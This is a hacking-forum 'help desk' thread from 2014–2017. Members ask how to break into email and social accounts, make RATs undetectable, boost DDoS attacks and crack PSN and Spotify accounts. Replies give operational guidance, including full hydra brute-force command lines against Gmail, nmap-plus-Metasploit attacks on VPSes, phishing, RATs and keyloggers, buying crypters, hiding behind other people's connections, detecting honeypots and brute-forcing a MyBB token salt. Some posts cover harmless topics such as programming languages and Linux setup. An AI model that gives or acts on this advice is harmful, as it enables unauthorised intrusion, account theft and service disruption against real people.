I TRIED hydra -S -l target -P /pentest/passwords/wordlists/test.txt -e ns -V -s 445 smtp.mig33.com smtp << BUT DID NOT WORK , PLEASE CHEEK THE WEB AND PLEASE REPLY

Goodies - February 28, 2014, 8:38 am

(Feb 28, 2014 09:36 AM)Th3PonyWizard Wrote: [\[CITE\]](#) Your browser doesn't display your MAC address as far as I'm concerned, meaning website owners can't figure out that piece of information. You spoof your MAC address when you're trying to hack wireless networks of the sort.

Correct. Well, I know some flash programs, plugins, java applets etc can, but not server side processing of packets ;)

Goodies - February 28, 2014, 8:43 am

(Feb 28, 2014 09:38 AM)mac4you Wrote: [\[CITE\]](#) PLEASE SOMEONE HELP ME OUT ,, I HAVE USED HYDRA in BACKTRACK FOR PASSWORD CRACK GMAIL AND I USED hydra -S -l target@gmail.com -P /pentest/passwords/wordlists/hotmail.txt -e ns -V -s 465 smtp.gmail.com smtp << it worked and tried ro crack ,,, BUT i wanna crack www.mig33.com accounts , WHAT SHOULD

I WRITE COMMAND NOW ??

I TRIED hydra -S -l target -P /pentest/passwords/wordlists/test.txt -e ns -V -s 445
smtp.mig33.com smtp << BUT DID NOT WORK , PLEASE CHEEK THE WEB AND PLEASE
REPLY

Dnslookup the site. The MX record is mail.mig33.com.

I have little experience with hydra, but I know DNS.

mail.mig33.com seems down. iP not responding. If course they could just have ACL rules.

HIGH PAID FELLA - February 28, 2014, 8:52 am

Very nice helpdesk, hope I can help in the future ?

You got my vouch.

mac4you - February 28, 2014, 8:56 am

THANK YOU GOODIES , BUT IN HYDRA WHEN I TRY TO CRACK ANY GMAIL OR YAHOO , IT
WORKS,, BUT WHEN I JUST TRY TO HACK >>>hydra -S -l TARGET -P

/pentest/passwords/wordlists/test.txt -e ns -V -s 445

mail.mig33.com smtp << IT JUST CAME : mail.mig33.com smtp < THIS AND NOTHING HAPPEN
NEXT ,, I TRYD HYDRA GTK AND IT SAYS

>> DATA] 16 tasks, 1 server, 503 login tries (l:1/p:503), ~31 tries per task

[DATA] attacking service smtp on port 455

[ERROR] could not resolve address: mail.mig33.com

0 of 1 target successfully completed, 0 valid passwords found

Hydra (<http://www.thc.org/thc-hydra>) finished at 2014-02-28 11:51:35

<finished>

[ERROR] 1 target did not resolve or could not be connected

PLEASE SIR HELP ME OUT I AM ON GREAT TROUBLE

iFind - February 28, 2014, 10:01 am

What is your question/problem: Scripting languages.

Explain your problem the best you can: I'm wanting to learn at least one scripting language, yet it
seems like there are a lot to choose from. Out of all of them is there any that really stand out? I
know python is pretty popular, Ruby maybe?

What are your thoughts on this?

Thanks.

Skype name: As stated in other post, I don't use Skype.

Goodies - February 28, 2014, 10:51 am

(Feb 28, 2014 11:01 AM)???? Wrote: [\[CITE\]](#) What is your question/problem: Scripting languages.

Explain your problem the best you can: I'm wanting to learn at least one scripting language, yet it
seems like there are a lot to choose from. Out of all of them is there any that really stand out? I
know python is pretty popular, Ruby maybe?

What are your thoughts on this?

Thanks.

Skype name: As stated in other post, I don't use Skype.

I strongly recommend python if you're into networking. Ruby is also a good language to at least be able to read.

Pink. - February 28, 2014, 11:46 am

If I have a custom chargen scanner source, how do I scan for lists? How do I set it up? I have the source.

What is your question/problem: I have a custom chargen list scanner, but I do not know how to set it up

Explain your problem the best you can: I got a chargen scanner that should get me lists, but I do not know how to set it up.

Skype name: I'd like to PM you instead of posting it in the public.

TheGrayAviator - February 28, 2014, 5:20 pm

(Feb 28, 2014 11:01 AM)???? Wrote: [\[CITE\]](#) What is your question/problem: Scripting languages.

Explain your problem the best you can: I'm wanting to learn at least one scripting language, yet it seems like there are a lot to choose from. Out of all of them is there any that really stand out? I know python is pretty popular, Ruby maybe?

What are your thoughts on this?

Thanks.

Skype name: As stated in other post, I don't use Skype.

It depends on what you want to do:

If you're into web-development, I'd recommend PHP, Java or Ruby.
For networking, Python is the recommended language.

i?irXa™ - February 28, 2014, 9:17 pm

What is your question/problem: I want to become good at SEing Items from websites via Support team.

Explain your problem the best you can: I'd like to be pointed in a direction where I can learn SEing for getting free items from the website thinking I have a malfunctioning device.

Skype name: imoabedyou

TheGrayAviator - February 28, 2014, 10:07 pm

(Feb 28, 2014 10:17 PM)My Username Wrote: [\[CITE\]](#) What is your question/problem: I want to become good at SEing Items from websites via Support team.

Explain your problem the best you can: I'd like to be pointed in a direction where I can learn SEing for getting free items from the website thinking I have a malfunctioning device.

Skype name: imoabedyou

What sort of website is it? I don't think SEing will help you much on acquire free items from an eCommerce website.

Komodo - March 1, 2014, 8:29 am

Bumping this back up to the top. Congrats on 200+ posts.

i?irXa™ - March 1, 2014, 8:59 am

Like I always see posts about how they SE'ed a Logitech headset. An iPhone. Xboxes etc.

King Cin - March 1, 2014, 1:40 pm

(Mar 1, 2014 09:59 AM)My Username Wrote: [\[CITE\]](#) Like I always see posts about how they SE'ed a Logitech headset. An iPhone. Xboxes etc.

SE'ing isn't necessarily hacking, it's more manipulating.

Read some things up about human psychology and manipulating, and you will become good at social engineering.

TheGrayAviator - March 1, 2014, 6:04 pm

(Mar 1, 2014 09:59 AM)My Username Wrote: [\[CITE\]](#) Like I always see posts about how they SE'ed a Logitech headset. An iPhone. Xboxes etc.

Care to share some of those posts? I doubt it's social engineering, it's more of a marketing brainwash thing.

Furtivus - March 1, 2014, 6:25 pm

Hello. After looking at the python forum and seeing a python booter I was extremely happy. After editing the source a little bit (lib2 to lib3). I tried it using public shells and was very disappointed. It doesn't seem to be doing anything! Anyway. Any advice would be appreciated on if it's my lack of private shells or my code. Original thread for where I got the code is here:

<http://pastebin.com/ZwiR8yWt>

The only change you need to make is to import lib3 and change where it calls lib2. Thanks for the help. Thumbsup

TheGrayAviator - March 2, 2014, 2:26 am

Posting this thread back up to the top.

Komodo - March 2, 2014, 5:11 pm

This thread needs to stay alive. 3000+ views, and 200+ posts., keep up all the great work. Ask us some questions, we have some HQ Users here.

TheGrayAviator - March 3, 2014, 12:10 am

Come on guys, shoot your questions, I am available to answer them.

Tomthetom00 - March 3, 2014, 12:12 am

(Mar 3, 2014 01:10 AM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) Come on guys, shoot your questions, I am available to answer them.

Is the DWL-G650 a good PCMCIA card for network sniffing and other operations of the kind.
thanks

Goodies - March 3, 2014, 12:42 am

(Mar 3, 2014 01:12 AM)Tomthetom00 Wrote: [\[CITE\]](#) Is the DWL-G650 a good PCMCIA card for network sniffing and other operations of the kind.

thanks

Sure. Why not? After a quick [Google](#) (you should look into that), I found the answer.

Just about any internet card is able to perform packet capture simply because it simply has to be able to receive packets. It wouldn't be an NIC if it doesn't...

As for packet injection, yeah... sure...

As for RFMON mode, sure, why not? Try it out before you ask things that can be easily googled.

Tomthetom00 - March 3, 2014, 12:45 am

(Mar 3, 2014 01:42 AM)Goodies Wrote: [\[CITE\]](#) Sure. Why not? After a quick [Google](#) (you should look into that), I found the answer.

Just about any internet card is able to perform packet capture simply because it simply has to be able to receive packets. It wouldn't be an NIC if it doesn't...

As for packet injection, yeah... sure...

As for RFMON mode, sure, why not? Try it out before you ask things that can be easily googled. Of course I googled it, but I wanted some "pro's" opinion.
thanks.

Komodo - March 3, 2014, 1:59 pm

Ask us some questions, we are ready to help.

TheGrayAviator - March 3, 2014, 4:40 pm

(Mar 3, 2014 01:12 AM)Tomthetom00 Wrote: [\[CITE\]](#) Is the DWL-G650 a good PCMCIA card for network sniffing and other operations of the kind.

thanks

I'd recommend you to go with the Alfa awus036h or the awus036nha, they work best for the type of application you are going to be using.

Mr.Luce - March 3, 2014, 4:42 pm

I would like how to learn Doxing and defacing websites and thank you for your help my skype live:jessica.simmonds34

Daquan24 - March 3, 2014, 4:53 pm

I want to hack into a particular email database would you explain to me. At Daquan24jj

TheGrayAviator - March 3, 2014, 8:36 pm

(Mar 3, 2014 05:53 PM)Daquan24 Wrote: [\[CITE\]](#) I want to hack into a particular email database would you explain to me. At Daquan24jj

Have you done any Google search? And don't say, you have cause I won't believe you.

HydraPlane - March 3, 2014, 11:28 pm

Thanks for taking the time to keep this help desk running, and here goes my first question.

I am about to format my Laptop and initially wanted to install Kali (Linux) but since I'm a noob to Linux altogether I was advised to install Kubuntu, get acquainted with it and then once competent, move on to Kali. Lately I read a lot about using Debian instead of Kubuntu if my goal is to be strong with Kali. So which one should I go for? All advice is appreciated.

Goodies - March 3, 2014, 11:41 pm

(Mar 4, 2014 12:28 AM)HydraPlane Wrote: [\[CITE\]](#) Thanks for taking the time to keep this help desk running, and here goes my first question.

I am about to format my Laptop and initially wanted to install Kali (Linux) but since I'm a noob to Linux altogether I was advised to install Kubuntu, get acquainted with it and then once competent, move on to Kali. Lately I read a lot about using Debian instead of Kubuntu if my goal is to be strong

with Kali. So which one should I go for? All advice is appreciated.

First off, using Kali as a base Os is Strongly discouraged. I recommend that you use Linux Mint (Debian or Ubuntu edition is up to you... But I prefer debian).

HydraPlane - March 3, 2014, 11:58 pm

(Mar 4, 2014 12:41 AM)Goodies Wrote: [\[CITE\]](#) First off, using Kali as a base Os is Strongly discouraged. I recommend that you use Linux Mint (Debian or Ubuntu edition is up to you... But I prefer debian).

Appreciate the advice, so how does this setup sound:

Debian as a base and Kali bootable from flash drive?

Goodies - March 4, 2014, 12:28 am

(Mar 4, 2014 12:58 AM)HydraPlane Wrote: [\[CITE\]](#) Appreciate the advice, so how does this setup sound:

Debian as a base and Kali bootable from flash drive?

Yes. Even a virtual machine would do nicely. I prefer having an external wireless card (they're pretty cheap online) if you're going to use a VM :)

Tracked - March 4, 2014, 12:41 am

What is your question/problem: I'm trying to learn more about hacking emails & social accounts, such ass Facebook/Twitter/Youtube/Instagram. If you could possible PM me, it would be easier to ask the questions there.

Explain your problem the best you can: Having a hard time gathering the information I need & uncovering asterisk's

Skype name: PM me for my Skype name.

TheGrayAviator - March 4, 2014, 4:17 am

(Mar 4, 2014 12:58 AM)HydraPlane Wrote: [\[CITE\]](#) Appreciate the advice, so how does this setup sound:

Debian as a base and Kali bootable from flash drive?

That sounds good, you could also install a popular distro such as Mint or Debian and install the required tools on it.

So that way, you can still use the OS for general tasks, as well as for hacking.

And that's exactly what I do!

(Mar 4, 2014 01:41 AM)Anonymous-Secret Wrote: [\[CITE\]](#) What is your question/problem: I'm trying to learn more about hacking emails & social accounts, such ass Facebook/Twitter/Youtube/Instagram. If you could possible PM me, it would be easier to ask the questions there.

Explain your problem the best you can: Having a hard time gathering the information I need & uncovering asterisk's

Skype name: PM me for my Skype name.

A couple of things, that I can suggest that can be very effective.

1) Phishing (not allowed to discuss here in the HF, but if you do a Google search you will

understand all about it).

2) Ratting + Keylogger

3) Social Engineering (<https://www.trustedsec.com/downloads/social-engineer-toolkit/>). It's part of Backtrack 5 or Kali.

Exploitis - March 4, 2014, 4:48 am

This looks awesome i will come to you guys if i ever get stuck on anything!!

0x436C6F776E - March 4, 2014, 5:03 am

<http://www.file-upload.net/download-8679885/500.000-Hashes---PW.txt.html>

I need this table to be sorted.. I want, that the hashes are deleted, and the passwords are only in the document.. Would you do this for me? Would be so awesome.. I want this document to use it as a Wordlist, but the hashes are annoying..

Hope you could help. Thanks in adv.

Komodo - March 4, 2014, 5:15 am

(Mar 4, 2014 05:48 AM)Exploitis Wrote: [\[CITE\]](#) This looks awesome i will come to you guys if i ever get stuck on anything!!Do Not use the space of this Hacking Help Desk, to achieve 25 posts.

HitHat - March 4, 2014, 5:17 am

Very usefull guide, thank's a lot guy

Komodo - March 4, 2014, 5:25 am

(Mar 4, 2014 06:17 AM)HitHat Wrote: [\[CITE\]](#) Very usefull guide, thank's a lot guyDo Not use the space of the Hacking Help Desk to achieve 25 posts.

(Mar 4, 2014 06:03 AM)0x436C6F776E Wrote: [\[CITE\]](#)
<http://www.file-upload.net/download-8679885/500.000-Hashes---PW.txt.html>

I need this table to be sorted.. I want, that the hashes are deleted, and the passwords are only in the document.. Would you do this for me? Would be so awesome.. I want this document to use it as a Wordlist, but the hashes are annoying..

Hope you could help. Thanks in adv.I am currently on my phone, and can not skim through this. One of the other members will help you.

Spider Venom - March 4, 2014, 6:35 pm

Were can I get a good Silent Java drive by that is noob friendly?

What do you recommend?

TheGrayAviator - March 4, 2014, 10:52 pm

(Mar 4, 2014 07:35 PM)KingBob Wrote: [\[CITE\]](#) Were can I get a good Silent Java drive by that is noob friendly?

What do you recommend?

I don't think there's such Silent Java drive by. User will still have to run the Java Applet.

HydraPlane - March 4, 2014, 11:34 pm

(Mar 4, 2014 05:17 AM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) That sounds good, you could also install a popular distro such as Mint or Debian and install the required tools on it.

So that way, you can still use the OS for general tasks, as well as for hacking.

And that's exactly what I do!
Excellent, thanks.

I picked Debian because it is stable and has various software support. I understand your suggestion would be more convenient but less secure since you are using the same OS right?

King Cin - March 4, 2014, 11:57 pm

(Mar 4, 2014 07:35 PM)KingBob Wrote: [\[CITE\]](#) Were can I get a good Silent Java drive by that is noob friendly?

What do you recommend?

You don't, they're near useless now.

Java7 detects all of them.

TheGrayAviator - March 5, 2014, 1:30 am

(Mar 5, 2014 12:34 AM)HydraPlane Wrote: [\[CITE\]](#) Excellent, thanks.

I picked Debian because it is stable and has various software support. I understand your suggestion would be more convenient but less secure since you are using the same OS right?

I never said it would be less secure, distros such as Backtrack and kali would be considered otherwise.

The reason why I said, go with a distro such as Debian or Mint was because of stability and performance.

HydraPlane - March 5, 2014, 2:39 am

(Mar 5, 2014 02:30 AM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) I never said it would be less secure, distros such as Backtrack and kali would be considered otherwise.

The reason why I said, go with a distro such as Debian or Mint was because of stability and performance.

My bad, I should have clarified, I mean if you want to stay as hidden as possible while using Kali, is it not better to use it off a flash instead of using it off the OS (Debian) you are doing everything (browsing/transactions) else on, or does it make no difference at all?

Sunnypay - March 5, 2014, 3:40 am

Is it possible to hack into or exploit enjin websites?

Spider Venom - March 5, 2014, 5:52 am

(Mar 5, 2014 12:57 AM)Unknown•• Wrote: [\[CITE\]](#) You don't, they're near useless now.

Java7 detects all of them.

So this won't work?

<https://hackforums.net/showthread.php?tid=4039281>

Bonfire - March 5, 2014, 11:58 am

(Mar 5, 2014 06:52 AM)KingBob Wrote: [\[CITE\]](#) So this won't work?

<https://hackforums.net/showthread.php?tid=4039281>

If the user is running Java v7 Update 21 or earlier, then it will. Anyone running anything (somewhat) recent it would not be silent for. JDBs are dead until someone finds a way to get past the new patch that Oracle has put out. I wouldn't recommend buying one.

TheGrayAviator - March 5, 2014, 6:44 pm

(Mar 5, 2014 03:39 AM)HydraPlane Wrote: [\[CITE\]](#) My bad, I should have clarified, I mean if you want to stay as hidden as possible while using Kali, is it not better to use it off a flash instead of using it off the OS (Debian) you are doing everything (browsing/transactions) else on, or does it make no difference at all?

If you don't want to leave digital traces behind, yes, using a Live CD/USB of Kali will minimize your digital footprints.

However, you will still need to use a VPN connection and someone's else internet connection in order to maintain a low profile.

HydraPlane - March 5, 2014, 11:03 pm

(Mar 5, 2014 07:44 PM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) If you don't want to leave digital traces behind, yes, using a Live CD/USB of Kali will minimize your digital footprints.

However, you will still need to use a VPN connection and someone's else internet connection in order to maintain a low profile.

? Thanks for the help, much appreciated. Vouch.

topcontent88 - March 6, 2014, 12:51 am

What is your question/problem: FUD Rat

Explain your problem the best you can:I wanna make any RAT FUD.Lets say cybergate or darkcomet. Please help me i guiding how to make a RAT undetectable by any antivirus.Also m a beginner and keen to learn.

Skype name:ashy.buddy

Precisio? - March 6, 2014, 1:38 am

(Mar 6, 2014 01:51 AM)topcontent88 Wrote: [\[CITE\]](#) What is your question/problem: FUD Rat

Explain your problem the best you can:I wanna make any RAT FUD.Lets say cybergate or darkcomet. Please help me i guiding how to make a RAT undetectable by any antivirus.Also m a beginner and keen to learn.

Skype name:ashy.buddyYou need a crypter in order to make your RAT FUD, do not look for free ones because they aren't FUD, go ahead and buy a good crypter for all you need.

bounass2014 - March 6, 2014, 3:50 am

Hi Komodo,

i want to buy data scrambler ! i send many post in the threads bt nobody answer me. can you help me please ?

thanks

Komodo - March 6, 2014, 3:31 pm

(Mar 6, 2014 04:50 AM)bounass2014 Wrote: [\[CITE\]](#) Hi Komodo,

i want to buy data scrambler ! i send many post in the threads bt nobody answer me. can you help me please ?

thanksI am a supporter for DataScrambler, but this is not a DataScrambler support thread. Please only PM me issues.

TheGrayAviator - March 6, 2014, 11:56 pm

Bumping this thread back up, I am ready to answer questions.

sinceko - March 7, 2014, 9:19 am

Well, just because I'm pretty interested and it pisses me off everytime:

If I use a VM(1) which uses another VM(2) with TOR to connect to the internet, so basicly everything from VM(1) uses the connection of TOR in VM(2), I tested it a lot, but if I just try to

connect via SSH to anything it won't work, because TOR only gives an IP-address or something like that. Is it possible to SSH/.... in VM(1)? Are there any special things I can do to make that possible?

Thanks in advanced and keep this "service" up!

WifiNuke - March 7, 2014, 11:44 am

Hey man!

Great service keep it up mate!

Goodies - March 7, 2014, 1:23 pm

(Mar 7, 2014 10:19 AM)sinceko Wrote: [\[CITE\]](#) Well, just because I'm pretty interested and it pisses me off everytime:

If I use a VM(1) which uses another VM(2) with TOR to connect to the internet, so basicly everything from VM(1) uses the connection of TOR in VM(2), I tested it a lot, but if I just try to connect via SSH to anything it won't work, because TOR only gives an IP-address or something like that. Is it possible to SSH/.... in VM(1)? Are there any special things I can do to make that possible?

Thanks in advanced and keep this "service" up!

This is a terrible idea. Do not have a VM in a VM... it causes much issue.

Also, that doesn't even work like you think it does... Tor uses a TCP SOCKS proxy and is subsequently port specific. You cannot tunnel an entire TCP/IP stack of a machine through one port. It's like having "subports" which is not a thing as far as I know...

However, you can use something like whonix

https://www.whonix.org/wiki/Main_Page

Komodo - March 7, 2014, 1:58 pm

(Mar 7, 2014 12:44 PM)WifiNuke Wrote: [\[CITE\]](#) Hey man!

Great service keep it up mate!Do Not use the space of the Hacking Help Desk, to achieve 25 posts. This is a legitimate place, where you can post questions.

sinceko - March 7, 2014, 2:42 pm

(Mar 7, 2014 02:23 PM)Goodies Wrote: [\[CITE\]](#) This is a terrible idea. Do not have a VM in a VM... it causes much issue.

Also, that doesn't even work like you think it does... Tor uses a TCP SOCKS proxy and is subsequently port specific. You cannot tunnel an entire TCP/IP stack of a machine through one port. It's like having "subports" which is not a thing as far as I know...

However, you can use something like whonix

https://www.whonix.org/wiki/Main_Page

Thanks for your time,

I may failed while explaining, I am using Whonix. I'm using the Gateway and customized another VM so it only uses the Whonix/Tor connection, nothing else, but SSH etc. doesnt work, HTTP/.. work.

Regards.

Extence - March 7, 2014, 3:00 pm

Hi komodo,

I'm using an attack called "xml-rpc", it works wonderful but when the owner of the site enables "i'm under attack mode" all of the sites do not get through, is there any other way to keep the site down while that protection is enabled?

Goodies - March 7, 2014, 3:38 pm

(Mar 7, 2014 03:42 PM)sinceko Wrote: [\[CITE\]](#) Thanks for your time, I may failed while explaining, I am using Whonix. I'm using the Gateway and customized another VM so it only uses the Whonix/Tor connection, nothing else, but SSH etc. doesnt work, HTTP/.. work.

Regards.

It's generally bad to SSH via Tor as the relays are changed every 10 minutes and you'd have to reauthenticate. You should SSH through a VPN with a static IP

Komodo - March 7, 2014, 3:56 pm

Congrats to everyone who helps in the Hacking Help Desk. We have reached over 4000 Views, and are continuing to grow. Remember that this is not a mandatory thread for the Empire anymore, so all Helpers are doing this just to help.

WifiNuke - March 7, 2014, 3:56 pm

How i can crack linux vps's?

Thanks!

TheGrayAviator - March 7, 2014, 4:48 pm

(Mar 7, 2014 04:56 PM)WifiNuke Wrote: [\[CITE\]](#) How i can crack linux vps's?

Thanks!

Run a port scanning with NMAP on that VPS. See what ports and services are available, then you could try using Metasploit to attack it.

Zapu - March 7, 2014, 4:57 pm

(Mar 7, 2014 05:48 PM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) Run a port scanning with NMAP on that VPS. See what ports and services are available, then you could try using Metasploit to attack it. Just make sure you don't go into a honeypot by accident.

TheGrayAviator - March 7, 2014, 5:12 pm

(Mar 7, 2014 05:57 PM)Extrnl Wrote: [\[CITE\]](#) Just make sure you don't go into a honeypot by accident.

And how would you go about detecting the honeypot?

Zapu - March 7, 2014, 5:21 pm

(Mar 7, 2014 06:12 PM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) And how would you go about detecting the honeypot?

I don't know if this would apply to all honeypots, but if you happened to be caught in a honeypot like Kippo, you could check \$PATH, and env, check to see if pipes work too.

For Kippo, the default hostname is "nas3" or something along those lines, too.

Sorry, I'm really tired right now, so if I'm wrong let me know.

muzzy. - March 7, 2014, 7:06 pm

Code /* functions.php, line nums provided */
479 function generate_post_check()

```

480 {
481     global $mybb, $session;
482     if($mybb->user['uid'])
483     {
484         return md5($mybb->user['loginkey'].$mybb->user['salt'].$mybb->user['regdate']);
485     }
486     // Guests get a special string
487     else
488     {
489         return
md5($session->useragent.$mybb->config['database']['username'].$mybb->settings['internal']['encryp
tion_key']);
490     }
491 }

```

So I was taking a look at the way MyBB handles Anti-XSRF tokens, and from that code I'm pretty sure that the loginkey, salt and regdate never change. I know I can use this as an attack, but how? I'm confused.

Thanks.

Goodies - March 7, 2014, 7:39 pm

(Mar 7, 2014 08:06 PM)Muuuzzy Wrote: [CITE](#) Code /* functions.php, line nums provided */

```

479 function generate_post_check()
480 {
481     global $mybb, $session;
482     if($mybb->user['uid'])
483     {
484         return md5($mybb->user['loginkey'].$mybb->user['salt'].$mybb->user['regdate']);
485     }
486     // Guests get a special string
487     else
488     {
489         return
md5($session->useragent.$mybb->config['database']['username'].$mybb->settings['internal']['encryp
tion_key']);
490     }
491 }

```

So I was taking a look at the way MyBB handles Anti-XSRF tokens, and from that code I'm pretty sure that the loginkey, salt and regdate never change. I know I can use this as an attack, but how? I'm confused.

Thanks.

This is definitely not my department. I do know CSRF (XSRF or CSRF... same thing... I just pronounce it as "See Surf"), but I'm not interested in web attacks.

Anyways, the guest seems much harder to attack as it's contingent upon the useragent. Even if you got ahold of their user agent, there's a lot more you'd have to attack.

Take a look at the user-specific one:

PHP Code

```

<?php
return md5($mybb->user['loginkey'].$mybb->user['salt'].$mybb->user['regdate'])

```

Assuming you intercept the loginkey through things like a MITM attack or simply intercepting/redundant packets (should be in the returned HTML of a server) and get the epoch equivalent of the registration date, it shouldn't be terribly difficult to brute force the salt (assuming you know the resulting string).

Again, I'm not positive on the whole MyBB attacking thing, so I could be wrong, but if you're looking for ways to get redundant packets on a wired network, I'm your guy ;) Wireless networks is easy. Simply sniff tcpdump/wireshark xD

i?irXa™ - March 7, 2014, 7:42 pm

What is your question/problem: Question with Jacking

Explain your problem the best you can: How do people jack youtube/itunes/twitter/twitch any account really.

Skype name:imoabedyou

muzzy. - March 7, 2014, 8:01 pm

(Mar 7, 2014 08:39 PM)Goodies Wrote: [\[CITE\]](#) This is definitely not my department. I do know CSRF (XSRF or CSRF... same thing... I just pronounce it as "See Surf"), but I'm not interested in web attacks.

Anyways, the guest seems much harder to attack as it's contingent upon the useragent. Even if you got ahold of their user agent, there's a lot more you'd have to attack.

Take a look at the user-specific one:

PHP Code

<?php

```
return md5($mybb->user['loginkey'].$mybb->user['salt'].$mybb->user['regdate'])
```

Assuming you intercept the loginkey through things like a MITM attack or simply intercepting/redundant packets (should be in the returned HTML of a server) and get the epoch equivalent of the registration date, it shouldn't be terribly difficult to brute force the salt (assuming you know the resulting string).

Again, I'm not positive on the whole MyBB attacking thing, so I could be wrong, but if you're looking for ways to get redundant packets on a wired network, I'm your guy ;) Wireless networks is easy. Simply sniff tcpdump/wireshark xD
Goodies this is why I love you.

If it means anything, this help desk gets my stamp of approval.

Spoiler [\(Click to View\)](#)

For clarification, the question was bait and I wasn't expecting an actual response. I've been looking to exploit this type of attack for a while now, but as far as I can gather you'd require more info (as goodies stated, running a man in the middle for the loginkey) to actually do anything of note with this.

Goodies - March 7, 2014, 8:30 pm

(Mar 7, 2014 09:01 PM)Muuuzzy Wrote: [\[CITE\]](#) Goodies this is why I love you.

If it means anything, this help desk gets my stamp of approval.

Spoiler [\(Click to View\)](#)

For clarification, the question was bait and I wasn't expecting an actual response. I've been looking to exploit this type of attack for a while now, but as far as I can gather you'd require more info (as goodies stathttp://www.youtube.com/watch?v=fWk_rMQiDGced, running a man in the middle for the loginkey) to actually do anything of note with this.

Oh good :P :)

You may REALLY enjoy this video given by Samy (Can't remember his last name). He's the creator of the cross site scripting myspace worm (samy worm).

He talks about brute forcing the LCG PRNG, and a whole mess of other stuff used in the default PHP cookie :)

I was actually thinking of testing this on HF, but I decided against it just in case of the off chance that it works xD

http://www.youtube.com/watch?v=fWk_rMQiDGced

TheGrayAviator - March 7, 2014, 8:53 pm

(Mar 7, 2014 09:30 PM)Goodies Wrote: [\[CITE\]](#) I was actually thinking of testing this on HF, but I decided against it just in case of the off chance that it works xD

And if that does work, and something bad were to happen, they will have the proof it was you.

Because you bragged about it.

Goodies - March 7, 2014, 9:01 pm

(Mar 7, 2014 09:53 PM)Greyhat.Infiltrator Wrote: [\[CITE\]](#) And if that does work, and something bad were to happen, they will have the proof it was you.

Because you bragged about it.

Well, nothing bad would happen because I'm not a total asshole and I'm sure Omni has more security than simply a cookie (IE white-listed IPs, moar passwords, etc...)

TheGrayAviator - March 7, 2014, 9:09 pm

(Mar 7, 2014 10:01 PM)Goodies Wrote: [\[CITE\]](#) Well, nothing bad would happen because I'm not a total asshole and I'm sure Omni has more security than simply a cookie (IE white-listed IPs, moar passwords, etc...)

Yeah I am sure he does, cloudflare is one of them.

Besides, I am sure he's got other security features in place too.

i?irXa™ - March 8, 2014, 5:20 am

What is your question/problem: Question with Jacking

Explain your problem the best you can: How do people jack youtube/itunes/twitter/twitch any account really.

Skype name:imoabedyou

Zapu - March 8, 2014, 10:15 am

(Mar 8, 2014 06:20 AM)Mr.Paradox Wrote: [\[CITE\]](#) What is your question/problem: Question with Jacking

Explain your problem the best you can: How do people jack youtube/itunes/twitter/twitch any account really.

Skype name:imoabedyou

Usually has to do with Social Engineering(That plays a big part)

Other stuff could just be RAtIng them.

Komodo - March 9, 2014, 11:47 am

Bumping this back up to the top. Thanks to everyone who still participates here.

0x03a8 - March 9, 2014, 1:24 pm

I was wondering if you could tell me the best way to increase DoS Power,

I currently have a vps with scripts & api's and everything but it only hits for 20-30Mbytes per second.

It costs 5\$ a month and was wondering if I should just pay for more vps's or if there was a better way to get (D)DoS power

(complete thread: <https://hackforums.net/showthread.php?tid=4105932>)

Komodo - March 9, 2014, 1:27 pm

(Mar 9, 2014 01:24 PM)Semizias Wrote: [\[CITE\]](#) I was wondering if you could tell me the best way to increase DoS Power,

I currently have a vps with scripts & api's and everything but it only hits for 20-30Mbytes per second.

It costs 5\$ a month and was wondering if I should just pay for more vps's or if there was a better way to get (D)DoS power

(complete thread: <https://hackforums.net/showthread.php?tid=4105932>) You are going to need some better Scripts. What Scripts are you using?

0x03a8 - March 9, 2014, 1:42 pm

(Mar 9, 2014 01:27 PM)Komodo Wrote: [\[CITE\]](#) You are going to need some better Scripts. What Scripts are you using?

A default UDP script.

I was already helped by <https://hackforums.net/showthread.php?tid=4091455>.

They already provided me with an answer & solution.

Komodo - March 9, 2014, 7:50 pm

Bumping this back up to the top. Post some questions.

Chance The Rapper™ - March 9, 2014, 7:54 pm

What coding languages are recommended to make a web based booster? Aldo I heard C++ is the best language to know to make a crypter, is this true? If so, how much c++ do you need ti know to make one?

Komodo - March 9, 2014, 7:55 pm

(Mar 9, 2014 07:54 PM)JohnMask Wrote: [\[CITE\]](#) What coding languages are recommended to make a web based booster? Aldo I heard C++ is the best language to know to make a crypter, is this true? If so, how much c++ do you need ti know to make one?I coded my Booter in PHP. Its pretty useful.

Chance The Rapper™ - March 9, 2014, 7:57 pm

(Mar 9, 2014 07:55 PM)Komodo Wrote: [\[CITE\]](#) I coded my Booter in PHP. Its pretty useful.And what about crypters? Are they difficult to make?

Komodo - March 9, 2014, 7:58 pm

(Mar 9, 2014 07:57 PM)JohnMask Wrote: [\[CITE\]](#) And what about crypters? Are they difficult to make? I am a supporter for a Booter, but I have not made one. PM the owner of a Crypter.

TheGrayAviator - March 10, 2014, 2:02 am

(Mar 9, 2014 07:57 PM)JohnMask Wrote: [\[CITE\]](#) And what about crypters? Are they difficult to make?

If you are profound at a programming language, it shouldn't be that difficult at making one.

But you will need to know how crypters and Anti-virus work, before you can make your own.

Komodo - March 10, 2014, 2:18 pm

Bumping this back to the top. Big thanks to everyone that is helping people in this thread. We have received over 4000 view, and this is the 299th post.

0x03a8 - March 10, 2014, 2:20 pm

300th post :)

Does anyone have a spare DNS amplification script?

Mine doesn't seem to send any packets, everything else works XD

Komodo - March 12, 2014, 5:13 pm

As time has gone on, the posts for the Hacking Help Desk have started to deplete. This is no longer a mandatory assignment for Empire, and I tried to keep it alive as long as possible. Thanks to all the members who have given time to this Hacking Help Desk, and with that note I am closing the thread.

Komodo - April 18, 2017, 6:58 pm

Opening this back up, feel free to PM me or post below.

brutes7 - April 18, 2017, 7:18 pm

Hi,

I'm new to all this and would like to crack some PSN accs and Spotify.

How would I go about this? I know about proxies and combos but where is the best site to buy them? Also which VPN is the best to use while cracking: HMA?

I really want to learn and find also is Sentry good for Spotify? I've read about PyroSuite but does it still work?

Thanks in advance for help :)

Komodo - April 18, 2017, 7:25 pm

(Apr 18, 2017 07:18 PM)brutes7 Wrote: [\[CITE\]](#) Hi,

I'm new to all this and would like to crack some PSN accs and Spotify.

How would I go about this? I know about proxies and combos but where is the best site to buy them? Also which VPN is the best to use while cracking: HMA?

I really want to learn and find also is Sentry good for Spotify? I've read about PyroSuite but does it still work?

Thanks in advance for help :) Wouldn't recommend PyroSuite, just because [Maximum](#) was a suspect in a \$2000 scam and hasn't logged back in since.

